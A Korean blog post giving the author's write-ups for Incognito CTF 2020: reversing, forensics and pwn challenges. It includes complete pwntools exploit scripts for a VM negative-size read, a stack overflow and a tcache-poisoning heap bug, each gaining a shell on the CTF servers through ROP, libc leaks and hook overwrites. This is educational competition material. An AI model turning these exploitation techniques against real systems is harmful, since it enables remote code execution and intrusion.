본문 바로가기

대외활동

Incognito CTF 2020

Incognito CTF 2020에 개인으로 참가하여 3등을 하였습니다. 윈도우 리버싱과 포렌식 문제 하나를 못 풀었습니다. 중간에 딴 짓 안 하고 열심히 했으면 둘 다 풀만했을 것 같은데 아쉽네요. 1등이 진작에 올클하고 떠나버리셔서 제가 다 풀었어도 2등이긴 했습니다 ㅋ

 

주최측에 제출하기 위해 작성한 간단한 라이트업을 공유합니다.

Yaaong

고양이 사진을 보여주는 어플이 주어집니다. dex2jar, apktools를 사용하여 어플을 디컴파일할 수 있습니다. 어플 내에 Text Box가 있는데 사용자가 그 Text Box에 Flag의 전반부를 입력하면 어플이 Flag의 후반부를 출력합니다. 

resources\lib\x86_64\libProb.so에 존재하는 Java_com_charlie_rev_MainActivity_CheckString함수를 분석하면 Flag의 전반부를 검증하기 위해 사용자의 입력을 4바이트씩 나눈 후 CRC값을 생성하고, 생성된 CRC값을 어떠한 4바이트 값 5개에 비교하는 것을 알 수 있습니다. 한번에 검증하는 길이가 4바이트밖에 되지 않기 때문에 Brute forcing을 하는 스크립트를 만들어 FLAG의 전반부를 구할 수 있습니다. 이렇게 구한 FLAG를 전반후를 어플의 Text Box에 입력하면 FLAG의 후반부를 줍니다.

 

from pwn import *


a="""00 00 00 00 96 30 07 77 2C 61 0E EE BA 51 09 99 19 C4 6D 07 8F F4 6A 70 35 A5 63 E9 A3 95 64 9E 32 88 DB 0E A4 B8 DC 79 1E E9 D5 E0 88 D9 D2 97 2B 4C B6 09 BD 7C B1 7E 07 2D B8 E7 91 1D BF 90 64 10 B7 1D F2 20 B0 6A 48 71 B9 F3 DE 41 BE 84 7D D4 DA 1A EB E4 DD 6D 51 B5 D4 F4 C7 85 D3 83 56 98 6C 13 C0 A8 6B 64 7A F9 62 FD EC C9 65 8A 4F 5C 01 14 D9 6C 06 63 63 3D 0F FA F5 0D 08 8D C8 20 6E 3B 5E 10 69 4C E4 41 60 D5 72 71 67 A2 D1 E4 03 3C 47 D4 04 4B FD 85 0D D2 6B B5 0A A5 FA A8 B5 35 6C 98 B2 42 D6 C9 BB DB 40 F9 BC AC E3 6C D8 32 75 5C DF 45 CF 0D D6 DC 59 3D D1 AB AC 30 D9 26 3A 00 DE 51 80 51 D7 C8 16 61 D0 BF B5 F4 B4 21 23 C4 B3 56 99 95 BA CF 0F A5 BD B8 9E B8 02 28 08 88 05 5F B2 D9 0C C6 24 E9 0B B1 87 7C 6F 2F 11 4C 68 58 AB 1D 61 C1 3D 2D 66 B6 90 41 DC 76 06 71 DB 01 BC 20 D2 98 2A 10 D5 EF 89 85 B1 71 1F B5 B6 06 A5 E4 BF 9F 33 D4 B8 E8 A2 C9 07 78 34 F9 00 0F 8E A8 09 96 18 98 0E E1 BB 0D 6A 7F 2D 3D 6D 08 97 6C 64 91 01 5C 63 E6 F4 51 6B 6B 62 61 6C 1C D8 30 65 85 4E 00 62 F2 ED 95 06 6C 7B A5 01 1B C1 F4 08 82 57 C4 0F F5 C6 D9 B0 65 50 E9 B7 12 EA B8 BE 8B 7C 88 B9 FC DF 1D DD 62 49 2D DA 15 F3 7C D3 8C 65 4C D4 FB 58 61 B2 4D CE 51 B5 3A 74 00 BC A3 E2 30 BB D4 41 A5 DF 4A D7 95 D8 3D 6D C4 D1 A4 FB F4 D6 D3 6A E9 69 43 FC D9 6E 34 46 88 67 AD D0 B8 60 DA 73 2D 04 44 E5 1D 03 33 5F 4C 0A AA C9 7C 0D DD 3C 71 05 50 AA 41 02 27 10 10 0B BE 86 20 0C C9 25 B5 68 57 B3 85 6F 20 09 D4 66 B9 9F E4 61 CE 0E F9 DE 5E 98 C9 D9 29 22 98 D0 B0 B4 A8 D7 C7 17 3D B3 59 81 0D B4 2E 3B 5C BD B7 AD 6C BA C0 20 83 B8 ED B6 B3 BF 9A 0C E2 B6 03 9A D2 B1 74 39 47 D5 EA AF 77 D2 9D 15 26 DB 04 83 16 DC 73 12 0B 63 E3 84 3B 64 94 3E 6A 6D 0D A8 5A 6A 7A 0B CF 0E E4 9D FF 09 93 27 AE 00 0A B1 9E 07 7D 44 93 0F F0 D2 A3 08 87 68 F2 01 1E FE C2 06 69 5D 57 62 F7 CB 67 65 80 71 36 6C 19 E7 06 6B 6E 76 1B D4 FE E0 2B D3 89 5A 7A DA 10 CC 4A DD 67 6F DF B9 F9 F9 EF BE 8E 43 BE B7 17 D5 8E B0 60 E8 A3 D6 D6 7E 93 D1 A1 C4 C2 D8 38 52 F2 DF 4F F1 67 BB D1 67 57 BC A6 DD 06 B5 3F 4B 36 B2 48 DA 2B 0D D8 4C 1B 0A AF F6 4A 03 36 60 7A 04 41 C3 EF 60 DF 55 DF 67 A8 EF 8E 6E 31 79 BE 69 46 8C B3 61 CB 1A 83 66 BC A0 D2 6F 25 36 E2 68 52 95 77 0C CC 03 47 0B BB B9 16 02 22 2F 26 05 55 BE 3B BA C5 28 0B BD B2 92 5A B4 2B 04 6A B3 5C A7 FF D7 C2 31 CF D0 B5 8B 9E D9 2C 1D AE DE 5B B0 C2 64 9B 26 F2 63 EC 9C A3 6A 75 0A 93 6D 02 A9 06 09 9C 3F 36 0E EB 85 67 07 72 13 57 00 05 82 4A BF 95 14 7A B8 E2 AE 2B B1 7B 38 1B B6 0C 9B 8E D2 92 0D BE D5 E5 B7 EF DC 7C 21 DF DB 0B D4 D2 D3 86 42 E2 D4 F1 F8 B3 DD 68 6E 83 DA 1F CD 16 BE 81 5B 26 B9 F6 E1 77 B0 6F 77 47 B7 18 E6 5A 08 88 70 6A 0F FF CA 3B 06 66 5C 0B 01 11 FF 9E 65 8F 69 AE 62 F8 D3 FF 6B 61 45 CF 6C 16 78 E2 0A A0 EE D2 0D D7 54 83 04 4E C2 B3 03 39 61 26 67 A7 F7 16 60 D0 4D 47 69 49 DB 77 6E 3E 4A 6A D1 AE DC 5A D6 D9 66 0B DF 40 F0 3B D8 37 53 AE BC A9 C5 9E BB DE 7F CF B2 47 E9 FF B5 30 1C F2 BD BD 8A C2 BA CA 30 93 B3 53 A6 A3 B4 24 05 36 D0 BA 93 06 D7 CD 29 57 DE 54 BF 67 D9 23 2E 7A 66 B3 B8 4A 61 C4 02 1B 68 5D 94 2B 6F 2A 37 BE 0B B4 A1 8E 0C C3 1B DF 05 5A 8D EF 02 2D 14 00 00 00 00 00 00 00 01 7A 52 00 01 78 10 01"""
a= a.replace('\n',' ')
a= a.split(' ')
table = []
for x in range(len(a)/4):
    tmp = a[4*x+3]
    tmp+= a[4*x+2]
    tmp+= a[4*x+1]
    tmp+= a[4*x]
    table.append(int(tmp,16))
ans=[]
print(len(table))
inp=[0,0,0,0]
def check(inp):
    v10 = table[inp[0]^0xff]^0xffffff
    v11 = table[inp[1]^(v10%0x100)]^(v10>>8)
    v12 = table[inp[2]^(v11%0x100)]^(v11>>8)
    check_mem = (table[inp[3]^(v12%0x100)]^(v12>>8))^0xffffffff
    return check_mem

for x in range(0xffffffff):

    check_mem = (check([x>>24,(x>>16)%0x100,(x>>8)%0x100,x%0x100]))
    if(x %0x1000000 ==0):
        print("[*] continue = "+hex(x))

    if check_mem == 0xE761062E:
        print("[*] 0xE761062E = "+hex(x))
        ans.append(x)

    elif check_mem == 0xFC65623B:
        print("[*] 0xFC65623B = "+hex(x))
        ans.append(x)

    elif check_mem == 0xFDC3F315:
        print("[*] 0xFDC3F315 = "+hex(x))
        ans.append(x)

    elif check_mem == 0x204F2D52:
        print('[*] 0x204F2D52 = '+hex(x))
        ans.append(x)

    elif check_mem == 0x3060A7A9:
        print('[*] 0x3060A7A9 = '+hex(x))
        ans.append(x)
    elif check_mem == 0x4BB89168:
        print('[*] 0x4BB89168 = '+hex(x))

print(ans)

 

FLAG{cats_are_better_at_coding_than_me}

Electronic Shock

Electronic-Shock.exe을 설치하면 C:\Users\{{user_name}}\AppData\Local\Programs\Electronic-Shock\resources에 app.asar 파일이 생성됩니다. 이 파일을 리눅스로 옮겨 다음과 같은 커맨드를 이용하여 문자열을 추출합니다.

 

strings app.asar


그러면 출력되는 문자열 중에 다음과 같은 자바스크립트 코드가 존재합니다. 이 코드를 Chrome console에 입력하여 실행하면 Flag를 출력합니다.

 

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('4 0="5";0=0.6("");0=0.7();8="9{"+0[2]+0[a]+0[2]+0[b]+0[c]+0[d]+0[1]+0[e]+0[3]+0[f]+0[g]+0[3]+0[h]+0[1]+0[1]+0[i]+"}";',19,19,'s|25|15|10|var|0w3d8rh2ef9a6yz7cbm4oi5nlpjkstqx1g_uv|split|sort|flag|FLAG|22|13|30|28|24|19|29|17|14'.split('|'),0,{}))

FLAG{electron_is_good}

 

Flagmaker

간단한 Input check 프로그램입니다. 다양한 수식으로 Input을 검증하고, 도달해야 하는 Path가 확실하기 때문에 Angr를 활용하기 좋은 상황입니다. 아래 코드를 실행하면 Flag를 출력합니다.

 

 

import angr
import claripy

proj = angr.Project('./flagmaker', main_opts={'base_addr': 0}, auto_load_libs=False)

arg = claripy.BVS('arg', 8*44)

state = proj.factory.entry_state(args=['./flagmker', arg])

simgr = proj.factory.simulation_manager(state)
simgr.explore(find=0x557,num_find=100)
print(simgr.found)
print("len(simgr.found) = {}".format(len(simgr.found)))

if len(simgr.found) > 0:
    s = simgr.found[0]
    print("argv[1] = {!r}".format(s.solver.eval(arg, cast_to=bytes)))
    print("stdin = {!r}".format(s.posix.dumps(0)))

 

lfag{th1_s1sv_3rry_3z_c4clul4t1ng_ch4ll3ng3}

 

Printable VM

Read와 Write를 수행하는 간단한 VM 프로그램입니다. 이 VM은 전역변수에 arg List를 선언한 후 이 전역변수를 이용하여 Read와 Write에 인자를 전달합니다. VM을 실행시키는 함수는 main함수에서 호출되며 Read와 Write에 사용되는 버퍼는 main의 지역변수입니다. VM에서 사용되는 OP 코드는 다음과 같습니다.

 

  • F : 프로그램을 종료합니다.
  • G : ??
  • M : a1에서 a2를 뺀 후 a1에 저장합니다.
  • N : NOP
  • P : a1에서 a2를 더한 후 a1에 저장합니다.
  • R : a1을 size로 Read를 호출하여 버퍼를 입력받습니다. a1만큼 버퍼의 포인터를 증가시킵니다.  
  • W : Write로 버퍼를 출력합니다.

 

Read를 할 때 a1이 0xf8와 같이 음수일 경우 signed extension 때문에 a1만큼 버퍼의 포인터를 증가시킬 때 a1이 0xfffffffffffffff8로 계산되어 버퍼의 포인터가 감소하게 됩니다. 버퍼가 main 함수의 지역변수이기 때문에 버퍼의 포인터를 감소시킨 후 Read 함수를 호출하면 VM함수의 Return address를 덮어쓸 수 있습니다. 

  • Sub OP 코드를 이용하여 a1에 음수를 저장.
  • 음수 size Read를 통해 버퍼의 포인터를 감소시킴.
  • VM 함수의 return address를 덮어씀.
  • ROP를 통해 Libc leak 후 main 함수로 점프함.
  • VM 함수의 return address를 One_shot Gadget으로 덮어씀.
from pwn import *
import sys
import time


def sub(a1Offset,a2Offset):
    payload = 'M'+str(a1Offset)+str(a2Offset)
    return payload

def _nop():
    payload = 'N'
    return payload

def add(a1Offset,a2Offset):
    payload = 'P'+str(a1Offset)+str(a2Offset)
    return payload

def save(offset, value):
    payload = "S"+str(offset)+value
    return payload

def read(sizeOffset):
    payload = 'R'+str(sizeOffset)
    return payload
 
def write(sizeOffset):
    payload = 'W'+str(sizeOffset)
    return payload


#p= process('printableVM')
p= remote('incognito.spr.io',3280)
payload = save(0, '0')
payload+= save(1, '4')
payload+= save(2, '0')
payload+= save(3, '4')
payload+= save(4, '4')
payload+= save(5, '0')
payload+= save(6, '4')
payload+= save(7, '0')
payload+= sub(0, 1)      # -4 at 0
payload+= sub(2, 3)      # -4 at 2
payload+= add(0, 2)      # -8 at 0
payload+= sub(4, 5)      # 4 at 4
payload+= add(4, 4)      # 8 at 4
payload+= sub(2, 5)      # 0xcc at 2
payload+= add(2, 0)      # 0xc4 at 2
payload+= sub(6, 7)      # 4 at 6
payload+= read(2)      # read 0xc4
payload+= write(0)
payload+= read(0)      # read 0xf8
payload+= read(0)
payload+= write(0)

p.sendafter('opcode : ', payload)
 

#gdb.attach(p,"")

# stack ptr
time.sleep(0.1)
p.send('a'*0xc4) 


leak_mem = p.recv(4+8+8*4+8)

leak = u64(leak_mem[4:4+8])
code = leak - 0x100c
print('leak = 0x%x' % leak)
print('code = 0x%x' % code)

leak = u64(leak_mem[4+8+8*4:4+8+8*4+8])
print('leak = 0x%x' % leak)


rdi = 0x10e3
rsi = 0x10e1

##### ROP #######
payload  = leak_mem[:4]
log.info('ROP start = '+hex(code+rdi))
payload+= p64(code + rdi)
payload+= p64(code + 0x201FC8)
payload+= p64(code + 0x830  )
payload+= p64(code + 0xeae)
p.send(payload)


leak = u64(p.recvuntil('\x7f\x0a')[-7:-1].ljust(8,'\x00'))
libc = leak - 0x431d0
log.info('leak = ' + hex(leak))
log.info('libc = ' + hex(libc))
log.info("puts's got = "+hex(code + 0x201F88))

payload = save(0, '0')
payload+= save(1, '4')
payload+= save(2, '0')
payload+= save(3, '4')
payload+= save(4, '4')
payload+= save(5, '0')
payload+= save(6, '4')
payload+= save(7, '0')
payload+= sub(0, 1)      # -4 at 0
payload+= sub(2, 3)      # -4 at 2
payload+= add(0, 2)      # -8 at 0
payload+= sub(4, 5)      # 4 at 4
payload+= add(4, 4)      # 8 at 4
payload+= sub(2, 5)      # 0xcc at 2
payload+= add(2, 0)      # 0xc4 at 2
payload+= sub(6, 7)      # 4 at 6
payload+= read(2)      # read 0xc4
payload+= write(0)
payload+= read(0)      # read 0xf8
payload+= read(0)
payload+= write(0)

p.send(payload)

time.sleep(0.1)
p.send('a'*0xc4)

leak = p.recv(4+8+8*4+8)

oneshot = libc + 0x4f3c2

time.sleep(0.1)
payload = leak[:4]
payload+= p64(oneshot)
payload = payload.ljust(0xf8, '\x00')
p.send(payload)

p.interactive()

FLAG{Th1s_1S_S1mpl3_Pr1nt4Bl3_VM_Ch4lL3ng3_w1th_Typ3_c4St1nG}

 

Destroyer

잭팟 게임을 구현한 프로그램입니다. 사용자에게는 6번의 기회가 있습니다. 프로그램은 6번 동안 잭팟을 돌립니다. 각 시도마다 g_note의 내용을 출력한 후 “PRESS ENTER TO PLAY”로 유저의 입력을 받습니다. 유저가 입력하여 기회를 한 번 차감하고 잭팟을 돌립니다. 만약 6번의 기회 중 잭팟이 터진다면 g_name에 입력을 받은 후, g_name을 할당해제하고 프로그램을 종료합니다. “PRESS ENTER TO PLAY”로 입력을 받을 때 Stack overflow가 발생하여 g_name의 포인터를 덮을 수 있습니다. 공격자는 이를 통해 AAW과 AAR를 얻을 수 있습니다. g_note의 포인터를 got로 덮어서 Libc의 주소를 구한 다음, Free_hook을 덮어서 RCE를 획득할 수 있습니다.

 

from pwn import *




def run():
	p= remote('incognito.spr.io',3379)
	p.sendline("JJY")
	p.recvuntil('PRESS ENTER TO PLAY')
	payload ="A"*0x38
	payload+=p64(0x601FA8)
	p.send(payload)
	p.recvuntil('A SOUVENIR FOR ')
	leak = p.recv(6)
	leak = leak.ljust(8,'\x00')
	leak = u64(leak)
	log.info('leak = '+hex(leak))
	libc = leak - 0x6f6a0
	log.info('libc ' + hex(libc))
	payload = p64(libc+0x4527a)
	payload+= "A"*0x30
	got = libc + 0x3c67a8
	addr = p64(got)
	payload+=addr
	p.send(payload)
	p.recvuntil('PRESS ENTER TO PLAY')
	try:
		for x in range(6):
			res = p.recvuntil('-')
			if 'RET DESTROYER' in res:
				idx = p.recvuntil('CREDITS : ')
				idx = p.recvuntil('\n')
				log.info('idx = '+str(idx))
				p.recvuntil('PRESS ENTER TO PLAY')
				payload+=p64(libc+0x4527a)
				payload+= "A"*0x30
				got = libc + 0x3c67a8
				addr = p64(got)
				payload+=addr
				p.send(payload)
			if "BASTARD ! You're lucky this time" in res:
				p.recvuntil('?')
				log.info('success')
				payload+=p64(0x4527a+libc)
				p.sendline(payload)
				p.interactive()
	except:
		p.close()
	
for x in range(0x100):
	run()	

 

FLAG{luck_is_what_happens_when_preparation_meets_opportunity}

 

Babyheap

 

전형적인 GLIBC Heap 문제입니다. 사용할 수 있는 메뉴는 다음과 같습니다. 

  • 할당
  • 해제
  • 수정
  • 열람
  • 종료

 

2번 해제에서 포인터를 Free후 지우지 않기 때문에 UAF 취약점이 발생합니다. Unsorted Bin을 Free한 후 출력하여 Libc base를 구한 후, tcache poisoning으로 Free_hook을 덮어서 Remote code execution을 성공할 수 있습니다.

 

from pwn import *
def rv(data):
    p.recvuntil(data)
def sd(data):
    p.send(str(data))

def new(size,data):
    rv('>')
    sd('1')
    rv(':')
    sd(size)
    rv(':')
    if data=="":
        data+="\n"
    sd(data)
    rv("done")
def remove():
    rv('>')
    sd(2)
def edit(idx,data):
    rv('>')
    sd(3)
    rv(":")
    sd(idx)
    rv(':')
    sd(data)
def view(idx):
    rv(">")
    sd(4)
    rv(':')
    sd(idx)
    rv('note: ')
    leak = p.recv(6).ljust(8,'\x00')
    return leak

p= remote('incognito.spr.io', 3337)
new(0x1000,"")
new(0x20,"")
new(0x20,"")
remove()
remove()
remove()
leak = view(0)
leak = (u64(leak))-0x3ebca0
log.info('leak = '+hex(leak))
hook =  leak + 0x3ed8e8
payload = "A"*0xff0
payload+=p64(0xdead)*2

edit(1,p64(hook))
new(0x20,"1111")
new(0x20,p64(leak+0x4f4e0))
new(0x20,"/bin/sh\x00")
remove()
p.interactive()

FLAG{tc4ch3_1s_v3ry_e4sy_t0_h4ndl3}

 

Spear Phishing 2

 

vmdk 파일이 주어집니다. 이 vmdk 파일에서 악성코드를 실행하는데 사용된 파일의 md5값을 구하는 것이 문제입니다. vmdk 파일을 7z로 압축해제하면 vmdk 내에 존재하는 파일 시스템을 분석할 수 있습니다. 간단한 분석 후 Download 폴더에 한글뷰어와 폴라리스 오피스가 존재하는 것을 발견했습니다. 이를 통해 문서 파일을 이용하여 악성코드가 감염되었다고 추측했습니다. 개인적으로 문서 악성코드라고 하면 가장 먼저 생각나는 것이 한글이라서 HWP 파일을 먼저 의심했습니다. 해당 파일시스템 내에 존재하는 HWP 파일들 중 이력서 등 의심스러운 파일을 바이러스 토탈을 이용하여 분석하였습니다. (https://www.virustotal.com/gui/home)

악성코드라는 결과가 나온 `C:\Users\Newsecu-Incog\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\microsoft.windowscommunicationsapps_8wekyb3d8bbwe\LocalState\Files\S0\3\Attachments` 파일의 MD5 해시 값을 구하면 FLAG를 알 수 있습니다. 



FLAG{4D589C7B97DA95ED8CAB5FEE220D585B}

 

'대외활동' 카테고리의 다른 글

JJY  (1) 2020.05.12
HCTF 2019  (0) 2019.11.18